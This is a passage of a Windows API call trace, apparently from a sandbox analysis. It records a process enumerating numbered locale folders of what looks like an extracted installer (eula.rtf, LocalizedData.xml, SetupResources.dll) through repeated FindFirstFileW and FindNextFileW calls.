	[0061.039] FindClose (in: hFindFile=0x5e06b0 | out: hFindFile=0x5e06b0) returned 1
	[0061.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.039] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0061.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.039] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e09b0
	[0061.039] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.039] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.039] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.040] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.040] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.040] FindClose (in: hFindFile=0x5e09b0 | out: hFindFile=0x5e09b0) returned 1
	[0061.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.040] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0061.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.040] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0970
	[0061.040] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.040] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.040] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.041] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.041] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.041] FindClose (in: hFindFile=0x5e0970 | out: hFindFile=0x5e0970) returned 1
	[0061.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.044] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0061.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.044] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0970
	[0061.045] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.045] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.045] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.045] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.045] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.045] FindClose (in: hFindFile=0x5e0970 | out: hFindFile=0x5e0970) returned 1
	[0061.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.045] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0061.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.046] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0770
	[0061.046] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.046] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.046] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.047] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.047] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.047] FindClose (in: hFindFile=0x5e0770 | out: hFindFile=0x5e0770) returned 1
	[0061.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.047] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0061.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.047] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e05b0
	[0061.047] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.047] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.048] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.048] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.048] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.048] FindClose (in: hFindFile=0x5e05b0 | out: hFindFile=0x5e05b0) returned 1
	[0061.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.048] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0061.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.048] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0a70
	[0061.048] FindNextFileW (in: hFindFile=0x5e0a70, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.048] FindNextFileW (in: hFindFile=0x5e0a70, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.048] FindNextFileW (in: hFindFile=0x5e0a70, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.049] FindNextFileW (in: hFindFile=0x5e0a70, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.049] FindNextFileW (in: hFindFile=0x5e0a70, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.049] FindClose (in: hFindFile=0x5e0a70 | out: hFindFile=0x5e0a70) returned 1
	[0061.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.049] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
